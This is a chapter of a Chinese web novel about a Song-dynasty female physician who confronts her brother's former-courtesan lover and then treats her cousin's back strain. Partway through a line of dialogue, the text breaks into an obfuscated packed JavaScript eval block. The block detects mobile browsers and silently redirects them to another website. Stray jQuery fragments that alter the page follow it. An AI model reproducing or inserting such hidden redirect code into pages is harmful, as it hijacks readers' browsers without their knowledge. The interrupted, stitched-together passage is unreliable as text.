72. 他的真心09

作品:《女名医成长手册

    “夏蕊不识,原来是张大夫。那日劳张大夫亲自登门,真是受宠若惊。”她走到桌案跟前,左手轻轻抚着桌子的边缘,并没有在外侧的椅子上坐下来,只是居高俯视着张善云:“今日我去杨家医馆找你,才知道你的医馆开在此。你也不是杨家医馆的坐堂大夫,而是这间张氏医馆的东家。”


    张善云礼貌地笑笑,招呼道:“夏娘子请坐,我先为你诊脉吧。”


    “好。”夏蕊轻轻一笑,风度翩然地坐下来,将右手腕靠放在腕枕上。


    张善云低头诊脉,夏蕊的视线扫过眼前人的衣着,再到面庞。


    她瞄着狭长的眼线,顾盼飞扬,说话的语气轻飘飘的:“张大夫,我的住处是你告诉你家大嫂的吧。”


    善云抬起头来,看着对方眉间描的合欢花,没有作声。


    她并没有对王巧平说过关于夏蕊的事,但对夏蕊来说,是不是她告诉大嫂的又有什么区别呢。


    夏蕊便当她默认了,不带感情地问她:“你嫂嫂来找我,和我说愿意给我一笔钱,送我去江宁定居,只要我离开你大哥。你知道我怎么回答她的吗?”


    “怎么回答的?”


    “呵呵。”夏蕊轻轻笑笑:“我对她说:我怀孕了,是你家官人的孩子。”


    张善云道:“夏娘子,你并没有怀孕,为什么要这样说?”


    “为什么?”夏蕊收回右手,理了理自己的衣袖,“我是脱籍的市妓,好不容易遇上一个恩主,又怎么可能轻易放手呢。你说是不是?”


    张善云沉默下来,没有应她,执笔开始拟方子,边写边说:“忧虑劳心,与你本身的肾劳一起,若不放宽心加以疗养,你这身体迟早会垮了。”写着方子,她抬头看向站在一边的女使小荷:“记得提醒你家娘子,此方每日一剂,以三碗水煎至半碗水,每日煎服两次,七日之后失眠之症即可好转。”


    小荷一惊,看了一眼自己主子,还是问到:“大夫怎知娘子有失眠之症?”


    张善云将手里的毛笔搁在砚台上,笔杆上一个“赵”字镌刻遒劲。


    夏蕊理了理头发,不动声色地看着那笔墨道:“用得起赵文秀家的名笔,徽州李氏的名墨,所以张大夫这样的名医,又怎么诊不出我有失眠症呢?我今日来,就是告诉你一声:你嫂嫂的心意还请帮我去回绝了吧。我不会离开照郎的。”


    “夏娘子,你要找的不是恩主,而是当年贪墨案的主理官员留下的案卷。”张善云望着她,目光灼灼。


    “宝元元年,官家有心治理贪墨案,宋州知州姚兴顺因贪墨案查处了一大批地方官员,深得官家赏识,于庆历三年升任京官。离开应天时,将一批当年存疑的案卷一同带去了东京,并未对下一任的知州进行交接。”


    张善云停了一停,看到夏蕊不可置信的眼。


    善云轻说:“夏家被抄家,你的父亲被判斩首,哥哥流放,女眷沦为营妓,只因贪墨案一事成疑。你想查当年的案卷,所以刻意接近州判,假装成从未以色侍人的地方官妓。可是你找错人了,我哥哥并未从姚兴顺手中交接到所有案卷,你父兄一案的案卷,便是其中的遗漏之一。”


    夏蕊的声音有些发抖,手心蜷缩起来,攥住膝盖上的衣裙,“你怎么知道的?”


    “当年有一名衙役在州衙供职,我的人找到了这个人,他亲眼见到姚兴顺带走了案卷。”善云也将手放置在膝上,继续直视着夏蕊的眼:


    “我知道你本来是好人家的女儿,出身金贵,满腹经纶。你识得这些名家笔墨,觉得自己本不该过这样的生活。可是,没有案卷,哥哥也没有办法为你翻案。即便你觉得案子存疑,但是当年审理贪墨案的人也不是我哥哥,你遭受的苦楚,并不因我的哥哥嫂嫂而起。”


    善云润了润干燥的唇,见夏蕊的神情有一丝动容,便继续说:“我哥哥真心待你,我嫂嫂甚至愿意接受你成为家里的妾室。”


    她说的确是是真心所想:“如果你愿意尽心侍奉,张家并非容不得你;如果你一心想寻找真相,我也可以为你提供一些钱,作为前往东京的路费。我在东京也有相识的人,可以帮你在东京寻一处落脚的地方。”


    夏蕊抬眸,神色中仍然有一丝警惕:“你为什么要帮我?”


    张善云道:“我不是帮你,我是帮我的家人。我不想哥哥嫂嫂因此反目。”


    夏蕊的脸上是惨白的冷汗,她低下头,胸腔里仿佛被挖掉了一块。“我素来自傲,深知自身不论是容貌还是才华都属上流,即便是身在贱籍,我也视那些觊觎我的男子如脚下的软蛆。你哥哥在我心里亦如是。”


    她抬起头,轻飘飘地笑笑。“即便我不要找真相了,我也仍旧可以过现在这样的日子,你哥哥还是抓在我手里的挡箭牌,我又何必如你心意,入深宅大院去服侍当家大娘子呢?”


    她扫视着张善云的面容,神情漠然,“而且,你哥哥是当朝官员,官员不可狎妓,在我脱籍之前,你哥哥就与我有来往了。若我向知府密报,终究还是你哥哥理亏。”


    张善云摇头道:“你觉得为人妾室、服侍她人对你不公平,其实我完全认同你。但是你现在是刚刚脱籍的获罪之身,我嫂嫂的认知就是如此,对她来说,夫即是天,妾便是奴。你若想要安稳的生活,便只能屈于她之下。”


    “而且,我还知道一件事。”善云停了停,抬起头来:“在你脱籍之前,我哥哥从未与你有私交。若你执意要搅乱我们家的安宁,我也可以告诉我哥哥实情:你常年服用市妓的避子方,你非卖艺的地方官妓,而是卖身的市妓。并且,你因服用时间过长,已然损了本里,可能再也无法生育子女了。”


    小荷大声说:“不可能,你胡说!”


    张善云的手指尖有些微颤,刚才说这番话也是令她必须要鼓起勇气:“夏娘子,是不是真的你心里清楚。”


    她的手按在桌面的纸笺上,与夏蕊对视。“虽然你并不在意子女,毕竟每个年轻女子都是这样,对子嗣的执念很浅。但是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729312|141199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你不得不承认,男子不一样,不论是娶妻还是纳妾,得到子女是他们理所当然的目的之一,是娶妻纳妾可以得到的附赠品。”


    张善云向前倾了一些身体,说得更诚挚一些:“即便是我亲哥哥,我也不敢保证,今日他对你视如珍宝,他日你年老色衰,他会不会将你弃如黄鱼眼珠。”


    “而子女不同,子女是确定的,是你的就是你的。”


    “夏娘子,与其在一个不确定的男人身上浪费时间,不如遵循你的内心,或是探寻事实的真相还自身清白,或是调养生息以取得一个孩子,总该先保全后半生有个筹码和依靠。”


    夏蕊神情呆滞,顿在座椅上。


    张善云站起身来,走到堂中唤道:“阮清。”


    女学徒闻言快步走来,迟疑地望着二人。“东家有吩咐?”


    善云把药方递给她:“你给这位娘子把方子抓好,记在我的账上。”


    “是。”阮清即刻离去,手脚非常利索的将药材一一称量打包好,拿过来交给病人的女使。


    夏蕊在女使的搀扶下站了起来。


    善云把药方折好交给小荷,对夏蕊说:“夏娘子,这里是七天的药,吃完之后,若你改了主意,随时来找我。若你不愿听从我的建议,可以拿着方子去你信任的医馆请大夫再看。”


    小荷接过了药,夏蕊没有说话,面色惨白地转身就走了。


    阮清送两人出门,回来后看到东家忧心的神情,加上方才若有若无听到一些,似乎东家在和客人争吵,便想劝东家放宽心。刚开口,一个“东”字还没说完整,门口歪歪扭扭地走进一个人来。


    “堂哥,你怎么来了?”善云抬起头,看到是张升煦一瘸一拐地正扶着腰走进来。她连忙示意阮清一起上前去扶他。


    张升煦龇牙咧嘴的,不好意思的笑笑:“搬东西不留心闪了腰,只好来寻你看看,是不是得贴几幅膏药。”说完,他转头想对阮清说声多谢相扶,却不料在看到她的相貌时忽然涨红了脸。“啊,我,我自己可以,多谢娘子。”


    阮清点了点头,张升煦继续疼得龇牙咧嘴的,一瘸一拐跟张善云走进里间,在里间的塌上趴卧下来。


    “阮清,你去备十副跌打损伤膏药。”善云吩咐完后,取自己的一套银针出来,对堂哥责备说:“搬卸货物,至腰肌劳损。堂哥,你也悠着一点吧。我给你扎几针放松一下。”


    “欸,好。”张升煦手枕在下巴下面,咽了口口水,“善娘,刚才扶我的娘子是?”


    “阮清,是我这里的学徒。”


    “哦,这位娘子竟然出来做工,而不是在家相夫教子?”


    “她已经和离了,不用相夫教子。她那官人不是东西,我看她可怜,所以收她在我这里做帮工。”张善云一边说,一边轻转着银针刺入张升煦的皮肤,“不过堂哥,你可别打她的主意。她比你大了整三岁。”


    “我、我哪有那个意思。”张升煦老脸一红,整个人抖了起来。